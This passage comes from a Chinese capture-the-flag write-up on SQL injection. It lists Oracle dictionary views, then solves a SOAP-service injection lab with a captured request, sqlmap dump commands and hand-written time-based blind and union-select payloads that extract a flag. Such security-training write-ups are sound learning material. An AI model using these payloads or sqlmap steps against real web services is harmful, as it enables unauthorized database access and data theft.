- user_segments:当前用户的表段信息。
- user_tables:当前用户的表对象信息,常用字段:- table_name。
- user_tab_columns:当前用户的表列信息,常用字段:- column_name。
- all_users:数据库所有用户的信息。
- all_objects:数据库所有对象的信息。
- all_tables:数据库所有表对象的信息。
- session_roles:会话角色信息。
- session_privs:会话角色权限。
- v$database:数据库信息。
- v$datafile:数据文件信息。
- v$logfile:日志文件信息。
- v$loghist:日志历史信息。
0o02 注入流程
- 笔者不了解 Oracle 数据库,此处不做过多说明。
- 度娘找几篇 Oracle 手注文章。
- 题目为搜索型注入,直接写入1'报错:ORA-01756: quoted string not properly terminated,即引用字符串未正确终止(单引号)。
| 1 | // 报错注入 | 

| 1 | // 联合查询 | 

0o03 参考文档
- https://www.jianshu.com/p/5ce219032823
- https://blog.csdn.net/weixin_42508548/article/details/121516717
- https://mp.weixin.qq.com/s?__biz=MzIwODAzNzcxMQ==&mid=2247483713&idx=1&sn=2ec5d7db9cc1612ded726aa16c96aff7&chksm=97087361a07ffa77a0fb73d53c626424030297e8362ffad386bbb5b12a3772359fd13eafce86&mpshare=1&scene=23&srcid=0605AN2Ie50vNytZpMqAkDcD&sharer_sharetime=1654435175432&sharer_shareid=2957c05f62be643745e32bae234d95a3#rd
- https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247489858&idx=1&sn=404e485caa4e7a537b66fa2dcdcf69dc&chksm=e89e319adfe9b88c414d20db1246404b3596b7f676cd7a042a64192442155e201f0826eae702&mpshare=1&scene=23&srcid=0606jTmPMqnguiS9U9jPMtrf&sharer_sharetime=1654481070263&sharer_shareid=2957c05f62be643745e32bae234d95a3#rd
0x0b SOAP协议注入
0b00 题目提示
| 1 | SOAP协议注入 | 
0b01 SOAP协议
- 即简单对象访问协议,是数据交换的一种协议规范,是一种轻量的、简单的、基于XML的协议,被设计成在WEB上交换结构化的和固化的信息。
- SOAP=RPC+HTTP+XML,即采用HTTP通信协议,RPC作为一致性的调用途径,XLM作为数据传送的格式。
- 消息格式1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
 <soap:Header>
 </soap:Header>
 <soap:Body>
 <soap:Fault>
 </soap:Fault>
 </soap:Body>
 </soap:Envelope>
 <!--
 Envelope 元素:可将 xml 文档标识为 soap 消息。
 Header 元素:包含头部信息。
 Body 元素:包含所有的调用和响应信息,当Body内有存在数据可控时,有可能存在注入。
 Fault 元素:提供有关在处理此消息时所发生错误的信息。
 -->
- SOAP请求易受SQL注入攻击,提交参数作为变种 SQL 查询可以泄露敏感信息。
0o02 注入过程
- burp suite下载插件: - Wsdler。
- burp 抓取 - http://47.103.94.191:8018/ws_soap.php?wsdl页面请求包,并发送到- Wsdler模块(右键 –>- Extensions–>- Wsdler–>- Parse WSDL),将- Parse WSDL解析出来的SOAP请求包复制下来,可以直接丢到sqlmap梭一把,抑或手注。- 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22- POST /ws_soap.php 
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Edg/102.0.1245.33
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Referer: http://47.103.94.191:8018/ws_soap.php
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
 Cookie: pR1_sid=GqRRY0; ECS[display]=grid; ECS[history]=9%2C8; ECS[visit_times]=6
 Connection: close
 SOAPAction: urn:tickets_stock#get_tickets_stock
 Content-Type: text/xml;charset=UTF-8
 Host: 47.103.94.191:8018
 Content-Length: 471
 <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:tickets_stock">
 <soapenv:Header/>
 <soapenv:Body>
 <urn:get_tickets_stock soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
 <title xsi:type="xsd:string">gero et</title>
 </urn:get_tickets_stock>
 </soapenv:Body>
 </soapenv:Envelope>![image]() 
- sqlmap自动化部分步骤 - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11- // 拿到当前数据库 --> whalwl 
 sqlmap -r admin.txt --batch --current-db
 // 拿到 flag 相关表 --> this_flag
 sqlmap -r admin.txt --batch -D whalwl --tables
 // 拿到 this_flag 表下关键字段 --> flag
 sqlmap -r admin.txt --batch -D whalwl -T this_flag --columns
 // 拿到flag(很慢,建议来把农药) --> flag{ba8b6a6f6e38ed7e173d03504132dbe8}
 sqlmap -r admin.txt --batch -D whalwl -T this_flag -C flag --dump![image]() 
- 基于 sqlmap payload 的时间盲注(手注) - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13- // 根据 sqlmap 提供的payload——时间盲注 
 gero et' AND (SELECT 6543 FROM (SELECT(SLEEP(5)))woly) AND 'XqLo'='XqLo
 // 构造判断当前数据库名长度——两层 select 语句
 gero et' and (select 1 from(select if(length(database())=5,2,sleep(10)))tumei) -- -
 // 猜当前库名,配合 burp 爆破
 gero et' and (select 1 from(select if((select substr(database(),2,1)='h'),sleep(5),6))a) -- -
 // ……猜flag,可以先猜内容长度,再进行爆破,减少非必要的时间,这里懒了
 // 导出结果集,复制到excel进行排序提取内容,合并1列单元格:=TEXTJOIN("",TRUE,B2:B39)
 // '{'参数被转义问题,解决:爆破模块 --> Payloads --> Payload Encding 处取消勾选,即可不被编码。
 gero et' and (select 1 from(select if((select substr(flag,5,1) from this_flag limit 1,1)='{',sleep(5),6))tumei) -- -![image]() 
- 基于 awvs payload 的联合查询(手注) 
- 看了下 awvs 的扫描结果,嘿?直接出库名?联想到前面写时间盲注时思考是否会有回显位(那时直接在gero et的基础上操作,压根没置-1),果断修改 awvs payload 参数(重点:-1,使前一个 select 语句无结果)。1 
 2
 3
 4
 5// 直接拿到库名 
 -1' union select database() -- -
 // 需要思路而已,其他老套路了,这里直接拿flag
 -1' union select flag from this_flag limit 1,1 -- -![image]() 
0x0c 完本总结
总的来讲,题目很基础,笔者很菜!一句话,贵在坚持、思考与行动!
- 本文标题:安鸾之SQL系列&余下部分
- 本文作者:涂寐
- 创建时间:2022-06-13 08:38:26
- 本文链接:article/aca8184b.html
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!



















